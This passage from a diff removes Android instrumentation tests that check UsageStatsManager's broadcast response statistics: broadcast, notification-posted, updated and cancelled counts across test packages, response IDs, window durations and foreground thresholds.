-            assertResponseStats(TEST_APP_PKG, TEST_RESPONSE_STATS_ID_2,
-                    0 /* broadcastCount */,
-                    0 /* notificationPostedCount */,
-                    0 /* notificationUpdatedCount */,
-                    0 /* notificationCancelledCount */);
-
-            mUsageStatsManager.clearBroadcastResponseStats(TEST_APP_PKG, TEST_RESPONSE_STATS_ID_1);
-            assertResponseStats(TEST_APP_PKG, TEST_RESPONSE_STATS_ID_1,
-                    0 /* broadcastCount */,
-                    0 /* notificationPostedCount */,
-                    0 /* notificationUpdatedCount */,
-                    0 /* notificationCancelledCount */);
-            assertResponseStats(TEST_APP_PKG, TEST_RESPONSE_STATS_ID_2,
-                    0 /* broadcastCount */,
-                    0 /* notificationPostedCount */,
-                    0 /* notificationUpdatedCount */,
-                    0 /* notificationCancelledCount */);
-
-            // Send the broadcast again after clearing counts and verify counts get incremented
-            // as expected.
-            sendBroadcastAndWaitForReceipt(intent, options.toBundle());
-            testReceiver.postNotification(TEST_NOTIFICATION_ID_1,
-                    buildNotification(TEST_NOTIFICATION_CHANNEL_ID, TEST_NOTIFICATION_ID_1,
-                            TEST_NOTIFICATION_TEXT_2));
-
-            assertResponseStats(TEST_APP_PKG, TEST_RESPONSE_STATS_ID_1,
-                    1 /* broadcastCount */,
-                    0 /* notificationPostedCount */,
-                    1 /* notificationUpdatedCount */,
-                    0 /* notificationCancelledCount */);
-            assertResponseStats(TEST_APP_PKG, TEST_RESPONSE_STATS_ID_2,
-                    0 /* broadcastCount */,
-                    0 /* notificationPostedCount */,
-                    0 /* notificationUpdatedCount */,
-                    0 /* notificationCancelledCount */);
-
-            sendBroadcastAndWaitForReceipt(intent, options.toBundle());
-            testReceiver.cancelNotification(TEST_NOTIFICATION_ID_1);
-
-            assertResponseStats(TEST_APP_PKG, TEST_RESPONSE_STATS_ID_1,
-                    2 /* broadcastCount */,
-                    0 /* notificationPostedCount */,
-                    1 /* notificationUpdatedCount */,
-                    1 /* notificationCancelledCount */);
-            assertResponseStats(TEST_APP_PKG, TEST_RESPONSE_STATS_ID_2,
-                    0 /* broadcastCount */,
-                    0 /* notificationPostedCount */,
-                    0 /* notificationUpdatedCount */,
-                    0 /* notificationCancelledCount */);
-
-            testReceiver.cancelAll();
-        } finally {
-            connection.unbind();
-        }
-    }
-
-    @AppModeFull(reason = "No broadcast message response stats in instant apps")
-    @MediumTest
-    @Test
-    public void testBroadcastResponseStats_changeResponseWindowDuration() throws Exception {
-        final long broadcastResponseWindowDurationMs = TimeUnit.MINUTES.toMillis(2);
-        try (DeviceConfigStateHelper deviceConfigStateHelper =
-                new DeviceConfigStateHelper(NAMESPACE_APP_STANDBY)) {
-            updateFlagWithDelay(deviceConfigStateHelper,
-                    KEY_BROADCAST_RESPONSE_WINDOW_DURATION_MS,
-                    String.valueOf(broadcastResponseWindowDurationMs));
-
-            assertResponseStats(TEST_APP_PKG, TEST_RESPONSE_STATS_ID_1,
-                    0 /* broadcastCount */,
-                    0 /* notificationPostedCount */,
-                    0 /* notificationUpdatedCount */,
-                    0 /* notificationCancelledCount */);
-            assertResponseStats(TEST_APP_PKG, TEST_RESPONSE_STATS_ID_2,
-                    0 /* broadcastCount */,
-                    0 /* notificationPostedCount */,
-                    0 /* notificationUpdatedCount */,
-                    0 /* notificationCancelledCount */);
-
-            final TestServiceConnection connection = bindToTestServiceAndGetConnection();
-            try {
-                ITestReceiver testReceiver = connection.getITestReceiver();
-                testReceiver.cancelAll();
-
-                // Send a broadcast with a request to record response and verify broadcast-sent
-                // count gets incremented.
-                final Intent intent = new Intent().setComponent(new ComponentName(
-                        TEST_APP_PKG, TEST_APP_CLASS_BROADCAST_RECEIVER));
-                final BroadcastOptions options = BroadcastOptions.makeBasic();
-                options.recordResponseEventWhileInBackground(TEST_RESPONSE_STATS_ID_1);
-                sendBroadcastAndWaitForReceipt(intent, options.toBundle());
-
-                assertResponseStats(TEST_APP_PKG, TEST_RESPONSE_STATS_ID_1,
-                        1 /* broadcastCount */,
-                        0 /* notificationPostedCount */,
-                        0 /* notificationUpdatedCount */,
-                        0 /* notificationCancelledCount */);
-                assertResponseStats(TEST_APP_PKG, TEST_RESPONSE_STATS_ID_2,
-                        0 /* broadcastCount */,
-                        0 /* notificationPostedCount */,
-                        0 /* notificationUpdatedCount */,
-                        0 /* notificationCancelledCount */);
-
-                // Trigger a notification from test app and verify notification-posted count gets
-                // incremented.
-                testReceiver.createNotificationChannel(TEST_NOTIFICATION_CHANNEL_ID,
-                        TEST_NOTIFICATION_CHANNEL_NAME,
-                        TEST_NOTIFICATION_CHANNEL_DESC);
-                testReceiver.postNotification(TEST_NOTIFICATION_ID_1,
-                        buildNotification(TEST_NOTIFICATION_CHANNEL_ID, TEST_NOTIFICATION_ID_1,
-                                TEST_NOTIFICATION_TEXT_1));
-
-                assertResponseStats(TEST_APP_PKG, TEST_RESPONSE_STATS_ID_1,
-                        1 /* broadcastCount */,
-                        1 /* notificationPostedCount */,
-                        0 /* notificationUpdatedCount */,
-                        0 /* notificationCancelledCount */);
-                assertResponseStats(TEST_APP_PKG, TEST_RESPONSE_STATS_ID_2,
-                        0 /* broadcastCount */,
-                        0 /* notificationPostedCount */,
-                        0 /* notificationUpdatedCount */,
-                        0 /* notificationCancelledCount */);
-
-                testReceiver.cancelNotification(TEST_NOTIFICATION_ID_1);
-                mUsageStatsManager.clearBroadcastResponseStats(TEST_APP_PKG,
-                        TEST_RESPONSE_STATS_ID_1);
-                assertResponseStats(TEST_APP_PKG, TEST_RESPONSE_STATS_ID_1,
-                        0 /* broadcastCount */,
-                        0 /* notificationPostedCount */,
-                        0 /* notificationUpdatedCount */,
-                        0 /* notificationCancelledCount */);
-                assertResponseStats(TEST_APP_PKG, TEST_RESPONSE_STATS_ID_2,
-                        0 /* broadcastCount */,
-                        0 /* notificationPostedCount */,
-                        0 /* notificationUpdatedCount */,
-                        0 /* notificationCancelledCount */);
-
-                sendBroadcastAndWaitForReceipt(intent, options.toBundle());
-
-                assertResponseStats(TEST_APP_PKG, TEST_RESPONSE_STATS_ID_1,
-                        1 /* broadcastCount */,
-                        0 /* notificationPostedCount */,
-                        0 /* notificationUpdatedCount */,
-                        0 /* notificationCancelledCount */);
-                assertResponseStats(TEST_APP_PKG, TEST_RESPONSE_STATS_ID_2,
-                        0 /* broadcastCount */,
-                        0 /* notificationPostedCount */,
-                        0 /* notificationUpdatedCount */,
-                        0 /* notificationCancelledCount */);
-
-                SystemClock.sleep(broadcastResponseWindowDurationMs);
-                // Trigger a notification from test app but verify counts do not get
-                // incremented as the notification is posted after the window durations is expired.
-                testReceiver.postNotification(TEST_NOTIFICATION_ID_1,
-                        buildNotification(TEST_NOTIFICATION_CHANNEL_ID, TEST_NOTIFICATION_ID_1,
-                                TEST_NOTIFICATION_TEXT_1));
-
-                assertResponseStats(TEST_APP_PKG, TEST_RESPONSE_STATS_ID_1,
-                        1 /* broadcastCount */,
-                        0 /* notificationPostedCount */,
-                        0 /* notificationUpdatedCount */,
-                        0 /* notificationCancelledCount */);
-                assertResponseStats(TEST_APP_PKG, TEST_RESPONSE_STATS_ID_2,
-                        0 /* broadcastCount */,
-                        0 /* notificationPostedCount */,
-                        0 /* notificationUpdatedCount */,
-                        0 /* notificationCancelledCount */);
-
-                testReceiver.cancelAll();
-            } finally {
-                connection.unbind();
-            }
-        }
-    }
-
-    @AppModeFull(reason = "No broadcast message response stats in instant apps")
-    @Test
-    public void testBroadcastResponseStats_appNotInForeground() throws Exception {
-        assertResponseStats(TEST_APP_PKG, TEST_RESPONSE_STATS_ID_1,
-                0 /* broadcastCount */,
-                0 /* notificationPostedCount */,
-                0 /* notificationUpdatedCount */,
-                0 /* notificationCancelledCount */);
-        assertResponseStats(TEST_APP_PKG, TEST_RESPONSE_STATS_ID_2,
-                0 /* broadcastCount */,
-                0 /* notificationPostedCount */,
-                0 /* notificationUpdatedCount */,
-                0 /* notificationCancelledCount */);
-
-        try (DeviceConfigStateHelper deviceConfigStateHelper =
-                     new DeviceConfigStateHelper(NAMESPACE_APP_STANDBY)) {
-            final TestServiceConnection connection = bindToTestServiceAndGetConnection();
-            try {
-                updateFlagWithDelay(deviceConfigStateHelper,
-                        KEY_BROADCAST_RESPONSE_FG_THRESHOLD_STATE,
-                        String.valueOf(ActivityManager.PROCESS_STATE_TOP));
-
-                ITestReceiver testReceiver = connection.getITestReceiver();
-                testReceiver.cancelAll();
-
-                // Send a broadcast with a request to record response and verify broadcast-sent
-                // count gets incremented.
-                final Intent intent = new Intent().setComponent(new ComponentName(
-                        TEST_APP_PKG, TEST_APP_CLASS_BROADCAST_RECEIVER));
-                final BroadcastOptions options = BroadcastOptions.makeBasic();
-                options.recordResponseEventWhileInBackground(TEST_RESPONSE_STATS_ID_1);
-                sendBroadcastAndWaitForReceipt(intent, options.toBundle());
-
-                assertResponseStats(TEST_APP_PKG, TEST_RESPONSE_STATS_ID_1,
-                        1 /* broadcastCount */,
-                        0 /* notificationPostedCount */,
-                        0 /* notificationUpdatedCount */,
-                        0 /* notificationCancelledCount */);
-                assertResponseStats(TEST_APP_PKG, TEST_RESPONSE_STATS_ID_2,
-                        0 /* broadcastCount */,
-                        0 /* notificationPostedCount */,
-                        0 /* notificationUpdatedCount */,
-                        0 /* notificationCancelledCount */);
-
-                // Bring the test app to the foreground, send the broadcast again and verify that
-                // counts do not change.
-                launchTestActivityAndWaitToBeResumed(TEST_APP_PKG, TEST_APP_CLASS);
-                sendBroadcastAndWaitForReceipt(intent, options.toBundle());
-
-                assertResponseStats(TEST_APP_PKG, TEST_RESPONSE_STATS_ID_1,
-                        1 /* broadcastCount */,
-                        0 /* notificationPostedCount */,
-                        0 /* notificationUpdatedCount */,
-                        0 /* notificationCancelledCount */);
-                assertResponseStats(TEST_APP_PKG, TEST_RESPONSE_STATS_ID_2,
-                        0 /* broadcastCount */,
-                        0 /* notificationPostedCount */,
-                        0 /* notificationUpdatedCount */,
-                        0 /* notificationCancelledCount */);
-
-                // Change the threshold to something lower than TOP, send the broadcast again
-                // and verify that counts get incremented.
-                updateFlagWithDelay(deviceConfigStateHelper,
-                        KEY_BROADCAST_RESPONSE_FG_THRESHOLD_STATE,
-                        String.valueOf(ActivityManager.PROCESS_STATE_PERSISTENT));
-                sendBroadcastAndWaitForReceipt(intent, options.toBundle());
-
-                assertResponseStats(TEST_APP_PKG, TEST_RESPONSE_STATS_ID_1,
-                        2 /* broadcastCount */,
-                        0 /* notificationPostedCount */,
-                        0 /* notificationUpdatedCount */,
-                        0 /* notificationCancelledCount */);
-                assertResponseStats(TEST_APP_PKG, TEST_RESPONSE_STATS_ID_2,
-                        0 /* broadcastCount */,
-                        0 /* notificationPostedCount */,
-                        0 /* notificationUpdatedCount */,
-                        0 /* notificationCancelledCount */);
-
-                mUiDevice.pressHome();
-                // Change the threshold to a process state higher than RECEIVER, send the
-                // broadcast again and verify that counts do not change.
-                updateFlagWithDelay(deviceConfigStateHelper,
-                        KEY_BROADCAST_RESPONSE_FG_THRESHOLD_STATE,
-                        String.valueOf(ActivityManager.PROCESS_STATE_HOME));
-                sendBroadcastAndWaitForReceipt(intent, options.toBundle());
-
-                assertResponseStats(TEST_APP_PKG, TEST_RESPONSE_STATS_ID_1,
-                        2 /* broadcastCount */,
-                        0 /* notificationPostedCount */,
-                        0 /* notificationUpdatedCount */,
-                        0 /* notificationCancelledCount */);
-                assertResponseStats(TEST_APP_PKG, TEST_RESPONSE_STATS_ID_2,
-                        0 /* broadcastCount */,
-                        0 /* notificationPostedCount */,
-                        0 /* notificationUpdatedCount */,
-                        0 /* notificationCancelledCount */);
-
-                testReceiver.cancelAll();
-            } finally {
-                connection.unbind();
-            }
-        }
-    }
-
-    @AppModeFull(reason = "No broadcast message response stats in instant apps")
-    @Test
-    public void testBroadcastResponseStats_multiplePackages() throws Exception {
-        final ArrayMap<String, BroadcastResponseStats> expectedStats = new ArrayMap<>();
-        // Initially all the counts should be empty
-        assertResponseStats(TEST_RESPONSE_STATS_ID_1, expectedStats);
-
-        final TestServiceConnection connection1 = bindToTestServiceAndGetConnection(TEST_APP_PKG);
-        final TestServiceConnection connection3 = bindToTestServiceAndGetConnection(TEST_APP3_PKG);
-        final TestServiceConnection connection4 = bindToTestServiceAndGetConnection(TEST_APP4_PKG);
-        try {
-            ITestReceiver testReceiver1 = connection1.getITestReceiver();
-            ITestReceiver testReceiver3 = connection3.getITestReceiver();
-            ITestReceiver testReceiver4 = connection4.getITestReceiver();
-
-            testReceiver1.cancelAll();
-            testReceiver3.cancelAll();
-            testReceiver4.cancelAll();
-
-            final Intent intent = new Intent().setComponent(new ComponentName(
-                    TEST_APP_PKG, TEST_APP_CLASS_BROADCAST_RECEIVER));
-            final Intent intent3 = new Intent().setComponent(new ComponentName(
-                    TEST_APP3_PKG, TEST_APP_CLASS_BROADCAST_RECEIVER));
-            final Intent intent4 = new Intent().setComponent(new ComponentName(
-                    TEST_APP4_PKG, TEST_APP_CLASS_BROADCAST_RECEIVER));
-
-            // Send a broadcast to test-pkg1 with a request to record response and verify
-            // broadcast-sent count gets incremented.
-            final BroadcastOptions options = BroadcastOptions.makeBasic();
-            options.recordResponseEventWhileInBackground(TEST_RESPONSE_STATS_ID_1);
-            sendBroadcastAndWaitForReceipt(intent, options.toBundle());
-
-            expectedStats.put(TEST_APP_PKG, new BroadcastResponseStats(TEST_APP_PKG,
-                    TEST_RESPONSE_STATS_ID_1));
-            expectedStats.get(TEST_APP_PKG).incrementBroadcastsDispatchedCount(1);
-            assertResponseStats(TEST_RESPONSE_STATS_ID_1, expectedStats);
-
-            // Send a broadcast to test-pkg3 with a request to record response and verify
-            // broadcast-sent count gets incremented.
-            sendBroadcastAndWaitForReceipt(intent3, options.toBundle());
-            expectedStats.put(TEST_APP3_PKG, new BroadcastResponseStats(TEST_APP3_PKG,
-                    TEST_RESPONSE_STATS_ID_1));
-            expectedStats.get(TEST_APP3_PKG).incrementBroadcastsDispatchedCount(1);
-            assertResponseStats(TEST_RESPONSE_STATS_ID_1, expectedStats);
-
-            // Trigger a notification from test-pkg1 and verify notification-posted count gets
-            // incremented.
-            testReceiver1.createNotificationChannel(TEST_NOTIFICATION_CHANNEL_ID,
-                    TEST_NOTIFICATION_CHANNEL_NAME,
-                    TEST_NOTIFICATION_CHANNEL_DESC);
-            testReceiver1.postNotification(TEST_NOTIFICATION_ID_1,
-                    buildNotification(TEST_NOTIFICATION_CHANNEL_ID, TEST_NOTIFICATION_ID_1,
-                            TEST_NOTIFICATION_TEXT_1));
-
-            expectedStats.get(TEST_APP_PKG).incrementNotificationsPostedCount(1);
-            assertResponseStats(TEST_RESPONSE_STATS_ID_1, expectedStats);
-
-            // Trigger a notification from test-pkg3 and verify notification-posted count gets
-            // incremented.
-            testReceiver3.createNotificationChannel(TEST_NOTIFICATION_CHANNEL_ID,
-                    TEST_NOTIFICATION_CHANNEL_NAME,
-                    TEST_NOTIFICATION_CHANNEL_DESC);
-            testReceiver3.postNotification(TEST_NOTIFICATION_ID_1,
-                    buildNotification(TEST_NOTIFICATION_CHANNEL_ID, TEST_NOTIFICATION_ID_1,
-                            TEST_NOTIFICATION_TEXT_1));
-
-            expectedStats.get(TEST_APP3_PKG).incrementNotificationsPostedCount(1);
-            assertResponseStats(TEST_RESPONSE_STATS_ID_1, expectedStats);
-
-            // Send a broadcast to test-pkg1 with a request to record response and verify
-            // broadcast-sent count gets incremented.
-            sendBroadcastAndWaitForReceipt(intent, options.toBundle());
-            testReceiver1.postNotification(TEST_NOTIFICATION_ID_1,
-                    buildNotification(TEST_NOTIFICATION_CHANNEL_ID, TEST_NOTIFICATION_ID_1,
-                            TEST_NOTIFICATION_TEXT_2));
-            expectedStats.get(TEST_APP_PKG).incrementBroadcastsDispatchedCount(1);
-            expectedStats.get(TEST_APP_PKG).incrementNotificationsUpdatedCount(1);
-            assertResponseStats(TEST_RESPONSE_STATS_ID_1, expectedStats);
-
-            // Trigger a notification from test-pkg3 and verify stats remain the same
-            testReceiver4.createNotificationChannel(TEST_NOTIFICATION_CHANNEL_ID,
-                    TEST_NOTIFICATION_CHANNEL_NAME,
-                    TEST_NOTIFICATION_CHANNEL_DESC);
-            testReceiver4.postNotification(TEST_NOTIFICATION_ID_1,
-                    buildNotification(TEST_NOTIFICATION_CHANNEL_ID, TEST_NOTIFICATION_ID_1,
-                            TEST_NOTIFICATION_TEXT_1));
-            assertResponseStats(TEST_RESPONSE_STATS_ID_1, expectedStats);
-
-            // Send a broadcast to test-pkg4 with a request to record response and verify
-            // broadcast-send count gets incremented.
-            sendBroadcastAndWaitForReceipt(intent4, options.toBundle());
-            testReceiver4.cancelNotification(TEST_NOTIFICATION_ID_1);
-            expectedStats.put(TEST_APP4_PKG, new BroadcastResponseStats(TEST_APP4_PKG,
-                    TEST_RESPONSE_STATS_ID_1));
-            expectedStats.get(TEST_APP4_PKG).incrementBroadcastsDispatchedCount(1);
-            expectedStats.get(TEST_APP4_PKG).incrementNotificationsCancelledCount(1);
-            assertResponseStats(TEST_RESPONSE_STATS_ID_1, expectedStats);
-
-            mUsageStatsManager.clearBroadcastResponseStats(null, TEST_RESPONSE_STATS_ID_1);
-            expectedStats.clear();
-            assertResponseStats(TEST_RESPONSE_STATS_ID_1, expectedStats);
-
-            testReceiver1.cancelAll();
-            testReceiver3.cancelAll();
-            testReceiver4.cancelAll();
-        } finally {
-            connection1.unbind();
-            connection3.unbind();
-            connection4.unbind();
-        }
-    }
-
-    @AppModeFull(reason = "No broadcast message response stats in instant apps")
-    @Test
-    public void testBroadcastResponseStats_multiplePackages_multipleIds() throws Exception {
-        final ArrayMap<String, BroadcastResponseStats> expectedStatsForId1 = new ArrayMap<>();
-        final ArrayMap<String, BroadcastResponseStats> expectedStatsForId2 = new ArrayMap<>();
-        // Initially all the counts should be empty
-        assertResponseStats(TEST_RESPONSE_STATS_ID_1, expectedStatsForId1);
-        assertResponseStats(TEST_RESPONSE_STATS_ID_2, expectedStatsForId2);
-
-        final TestServiceConnection connection1 = bindToTestServiceAndGetConnection(TEST_APP_PKG);
-        final TestServiceConnection connection3 = bindToTestServiceAndGetConnection(TEST_APP3_PKG);
-        final TestServiceConnection connection4 = bindToTestServiceAndGetConnection(TEST_APP4_PKG);
-        try {
-            ITestReceiver testReceiver1 = connection1.getITestReceiver();
-            ITestReceiver testReceiver3 = connection3.getITestReceiver();
-            ITestReceiver testReceiver4 = connection4.getITestReceiver();
-
-            testReceiver1.cancelAll();
-            testReceiver3.cancelAll();
-            testReceiver4.cancelAll();
-
-            final Intent intent = new Intent().setComponent(new ComponentName(
-                    TEST_APP_PKG, TEST_APP_CLASS_BROADCAST_RECEIVER));
-            final Intent intent3 = new Intent().setComponent(new ComponentName(
-                    TEST_APP3_PKG, TEST_APP_CLASS_BROADCAST_RECEIVER));
-            final Intent intent4 = new Intent().setComponent(new ComponentName(
-                    TEST_APP4_PKG, TEST_APP_CLASS_BROADCAST_RECEIVER));
-
-            final BroadcastOptions options1 = BroadcastOptions.makeBasic();
-            options1.recordResponseEventWhileInBackground(TEST_RESPONSE_STATS_ID_1);
-            final BroadcastOptions options2 = BroadcastOptions.makeBasic();
-            options2.recordResponseEventWhileInBackground(TEST_RESPONSE_STATS_ID_2);
-
-            // Send a broadcast to test-pkg1 with a request to record response and verify
-            // broadcast-sent count gets incremented.
-            sendBroadcastAndWaitForReceipt(intent, options1.toBundle());
-            sendBroadcastAndWaitForReceipt(intent3, options2.toBundle());
-
-            // Trigger a notification from test-pkg1 and verify notification-posted count gets
-            // incremented.
-            testReceiver1.createNotificationChannel(TEST_NOTIFICATION_CHANNEL_ID,
-                    TEST_NOTIFICATION_CHANNEL_NAME,
-                    TEST_NOTIFICATION_CHANNEL_DESC);
-            testReceiver1.postNotification(TEST_NOTIFICATION_ID_1,
-                    buildNotification(TEST_NOTIFICATION_CHANNEL_ID, TEST_NOTIFICATION_ID_1,
-                            TEST_NOTIFICATION_TEXT_1));
-
-            expectedStatsForId1.put(TEST_APP_PKG, new BroadcastResponseStats(TEST_APP_PKG,
-                    TEST_RESPONSE_STATS_ID_1));
-            expectedStatsForId1.get(TEST_APP_PKG).incrementBroadcastsDispatchedCount(1);
-            expectedStatsForId1.get(TEST_APP_PKG).incrementNotificationsPostedCount(1);
-            expectedStatsForId2.put(TEST_APP3_PKG, new BroadcastResponseStats(TEST_APP3_PKG,
-                    TEST_RESPONSE_STATS_ID_2));
-            expectedStatsForId2.get(TEST_APP3_PKG).incrementBroadcastsDispatchedCount(1);
-            assertResponseStats(TEST_RESPONSE_STATS_ID_1, expectedStatsForId1);
-            assertResponseStats(TEST_RESPONSE_STATS_ID_2, expectedStatsForId2);
-
-            mUsageStatsManager.clearBroadcastEvents();
-            // Trigger a notification from test-pkg4 and verify notification-posted count gets
-            // incremented.
-            testReceiver4.createNotificationChannel(TEST_NOTIFICATION_CHANNEL_ID,
-                    TEST_NOTIFICATION_CHANNEL_NAME,
-                    TEST_NOTIFICATION_CHANNEL_DESC);
-            testReceiver4.postNotification(TEST_NOTIFICATION_ID_1,
-                    buildNotification(TEST_NOTIFICATION_CHANNEL_ID, TEST_NOTIFICATION_ID_1,
-                            TEST_NOTIFICATION_TEXT_1));
-
-            sendBroadcastAndWaitForReceipt(intent4, options2.toBundle());
-            expectedStatsForId2.put(TEST_APP4_PKG, new BroadcastResponseStats(TEST_APP4_PKG,
-                    TEST_RESPONSE_STATS_ID_2));
-            expectedStatsForId2.get(TEST_APP4_PKG).incrementBroadcastsDispatchedCount(1);
-
-            testReceiver3.createNotificationChannel(TEST_NOTIFICATION_CHANNEL_ID,
-                    TEST_NOTIFICATION_CHANNEL_NAME,
-                    TEST_NOTIFICATION_CHANNEL_DESC);
-            testReceiver3.postNotification(TEST_NOTIFICATION_ID_1,
-                    buildNotification(TEST_NOTIFICATION_CHANNEL_ID, TEST_NOTIFICATION_ID_1,
-                            TEST_NOTIFICATION_TEXT_1));
-            testReceiver4.cancelNotification(TEST_NOTIFICATION_ID_1);
-            expectedStatsForId2.get(TEST_APP4_PKG).incrementNotificationsCancelledCount(1);
-            assertResponseStats(TEST_RESPONSE_STATS_ID_1, expectedStatsForId1);
-            assertResponseStats(TEST_RESPONSE_STATS_ID_2, expectedStatsForId2);
-
-            mUsageStatsManager.clearBroadcastResponseStats(null, TEST_RESPONSE_STATS_ID_1);
-            expectedStatsForId1.clear();
-            assertResponseStats(TEST_RESPONSE_STATS_ID_1, expectedStatsForId1);
-            assertResponseStats(TEST_RESPONSE_STATS_ID_2, expectedStatsForId2);
-
-            testReceiver1.cancelAll();
-            testReceiver3.cancelAll();
-            testReceiver4.cancelAll();
-        } finally {
-            connection1.unbind();
-            connection3.unbind();
-            connection4.unbind();
-        }
-    }
-
-    @AppModeFull(reason = "No broadcast message response stats in instant apps")
-    @Test
-    public void testBroadcastResponseStats_clearCounts_multiplePackages() throws Exception {
-        final ArrayMap<String, BroadcastResponseStats> expectedStatsForId1 = new ArrayMap<>();
-        final ArrayMap<String, BroadcastResponseStats> expectedStatsForId2 = new ArrayMap<>();
-        // Initially all the counts should be empty
-        assertResponseStats(TEST_RESPONSE_STATS_ID_1, expectedStatsForId1);
-        assertResponseStats(TEST_RESPONSE_STATS_ID_2, expectedStatsForId2);
-
-        final TestServiceConnection connection1 = bindToTestServiceAndGetConnection(TEST_APP_PKG);
-        final TestServiceConnection connection3 = bindToTestServiceAndGetConnection(TEST_APP3_PKG);
-        try {
-            ITestReceiver testReceiver1 = connection1.getITestReceiver();
-            ITestReceiver testReceiver3 = connection3.getITestReceiver();
-
-            testReceiver1.cancelAll();
-            testReceiver3.cancelAll();
-
-            final Intent intent = new Intent().setComponent(new ComponentName(
-                    TEST_APP_PKG, TEST_APP_CLASS_BROADCAST_RECEIVER));
-            final Intent intent3 = new Intent().setComponent(new ComponentName(
-                    TEST_APP3_PKG, TEST_APP_CLASS_BROADCAST_RECEIVER));
-            final BroadcastOptions options1 = BroadcastOptions.makeBasic();
-            options1.recordResponseEventWhileInBackground(TEST_RESPONSE_STATS_ID_1);
-            final BroadcastOptions options2 = BroadcastOptions.makeBasic();
-            options2.recordResponseEventWhileInBackground(TEST_RESPONSE_STATS_ID_2);
-
-            testReceiver1.createNotificationChannel(TEST_NOTIFICATION_CHANNEL_ID,
-                    TEST_NOTIFICATION_CHANNEL_NAME,
-                    TEST_NOTIFICATION_CHANNEL_DESC);
-            testReceiver3.createNotificationChannel(TEST_NOTIFICATION_CHANNEL_ID,
-                    TEST_NOTIFICATION_CHANNEL_NAME,
-                    TEST_NOTIFICATION_CHANNEL_DESC);
-
-            // Send a broadcast to test-pkg1 with a request to record response and verify
-            // broadcast-sent count gets incremented.
-            sendBroadcastAndWaitForReceipt(intent, options1.toBundle());
-            sendBroadcastAndWaitForReceipt(intent3, options1.toBundle());
-
-            testReceiver1.postNotification(TEST_NOTIFICATION_ID_1,
-                    buildNotification(TEST_NOTIFICATION_CHANNEL_ID, TEST_NOTIFICATION_ID_1,
-                            TEST_NOTIFICATION_TEXT_1));
-            testReceiver3.postNotification(TEST_NOTIFICATION_ID_1,
-                    buildNotification(TEST_NOTIFICATION_CHANNEL_ID, TEST_NOTIFICATION_ID_1,
-                            TEST_NOTIFICATION_TEXT_1));
-
-            expectedStatsForId1.put(TEST_APP_PKG, new BroadcastResponseStats(TEST_APP_PKG,
-                    TEST_RESPONSE_STATS_ID_1));
-            expectedStatsForId1.put(TEST_APP3_PKG, new BroadcastResponseStats(TEST_APP3_PKG,
-                    TEST_RESPONSE_STATS_ID_1));
-            expectedStatsForId1.get(TEST_APP_PKG).incrementBroadcastsDispatchedCount(1);
-            expectedStatsForId1.get(TEST_APP_PKG).incrementNotificationsPostedCount(1);
-            expectedStatsForId1.get(TEST_APP3_PKG).incrementBroadcastsDispatchedCount(1);
-            expectedStatsForId1.get(TEST_APP3_PKG).incrementNotificationsPostedCount(1);
-            assertResponseStats(TEST_RESPONSE_STATS_ID_1, expectedStatsForId1);
-            assertResponseStats(TEST_RESPONSE_STATS_ID_2, expectedStatsForId2);
-
-            sendBroadcastAndWaitForReceipt(intent, options1.toBundle());
-            sendBroadcastAndWaitForReceipt(intent3, options2.toBundle());
-
-            testReceiver1.postNotification(TEST_NOTIFICATION_ID_1,
-                    buildNotification(TEST_NOTIFICATION_CHANNEL_ID, TEST_NOTIFICATION_ID_1,
-                            TEST_NOTIFICATION_TEXT_2));
-            testReceiver3.cancelNotification(TEST_NOTIFICATION_ID_1);
-
-            expectedStatsForId1.get(TEST_APP_PKG).incrementBroadcastsDispatchedCount(1);
-            expectedStatsForId1.get(TEST_APP_PKG).incrementNotificationsUpdatedCount(1);
-            expectedStatsForId2.put(TEST_APP3_PKG, new BroadcastResponseStats(TEST_APP3_PKG,
-                    TEST_RESPONSE_STATS_ID_2));
-            expectedStatsForId2.get(TEST_APP3_PKG).incrementBroadcastsDispatchedCount(1);
-            expectedStatsForId2.get(TEST_APP3_PKG).incrementNotificationsCancelledCount(1);
-
-            assertResponseStats(TEST_RESPONSE_STATS_ID_1, expectedStatsForId1);
-            assertResponseStats(TEST_RESPONSE_STATS_ID_2, expectedStatsForId2);
-
-            mUsageStatsManager.clearBroadcastResponseStats(null /* packageName */,
-                    TEST_RESPONSE_STATS_ID_1);
-            expectedStatsForId1.clear();
-            assertResponseStats(TEST_RESPONSE_STATS_ID_1, expectedStatsForId1);
-            assertResponseStats(TEST_RESPONSE_STATS_ID_2, expectedStatsForId2);
-
-            mUsageStatsManager.clearBroadcastResponseStats(null /* packageName */,
-                    TEST_RESPONSE_STATS_ID_2);
-            expectedStatsForId2.clear();
-            assertResponseStats(TEST_RESPONSE_STATS_ID_1, expectedStatsForId1);
-            assertResponseStats(TEST_RESPONSE_STATS_ID_2, expectedStatsForId2);
-
-            testReceiver1.cancelAll();
-            testReceiver3.cancelAll();
-        } finally {
-            connection1.unbind();
-            connection3.unbind();
-        }
-    }
-
-    @AppModeFull(reason = "No broadcast message response stats in instant apps")
-    @Test
-    public void testBroadcastResponseStats_clearCounts_multipleIds() throws Exception {
-        final ArrayMap<String, BroadcastResponseStats> expectedStatsForId1 = new ArrayMap<>();
-        final ArrayMap<String, BroadcastResponseStats> expectedStatsForId2 = new ArrayMap<>();
-        // Initially all the counts should be empty
-        assertResponseStats(TEST_RESPONSE_STATS_ID_1, expectedStatsForId1);
-        assertResponseStats(TEST_RESPONSE_STATS_ID_2, expectedStatsForId2);
-
-        final TestServiceConnection connection1 = bindToTestServiceAndGetConnection(TEST_APP_PKG);
-        final TestServiceConnection connection3 = bindToTestServiceAndGetConnection(TEST_APP3_PKG);
-        try {
-            ITestReceiver testReceiver1 = connection1.getITestReceiver();
-            ITestReceiver testReceiver3 = connection3.getITestReceiver();
-
-            testReceiver1.cancelAll();
-            testReceiver3.cancelAll();
-
-            final Intent intent = new Intent().setComponent(new ComponentName(
-                    TEST_APP_PKG, TEST_APP_CLASS_BROADCAST_RECEIVER));
-            final Intent intent3 = new Intent().setComponent(new ComponentName(
-                    TEST_APP3_PKG, TEST_APP_CLASS_BROADCAST_RECEIVER));
-            final BroadcastOptions options1 = BroadcastOptions.makeBasic();
-            options1.recordResponseEventWhileInBackground(TEST_RESPONSE_STATS_ID_1);
-            final BroadcastOptions options2 = BroadcastOptions.makeBasic();
-            options2.recordResponseEventWhileInBackground(TEST_RESPONSE_STATS_ID_2);
-
-            testReceiver1.createNotificationChannel(TEST_NOTIFICATION_CHANNEL_ID,
-                    TEST_NOTIFICATION_CHANNEL_NAME,
-                    TEST_NOTIFICATION_CHANNEL_DESC);
-            testReceiver3.createNotificationChannel(TEST_NOTIFICATION_CHANNEL_ID,
-                    TEST_NOTIFICATION_CHANNEL_NAME,
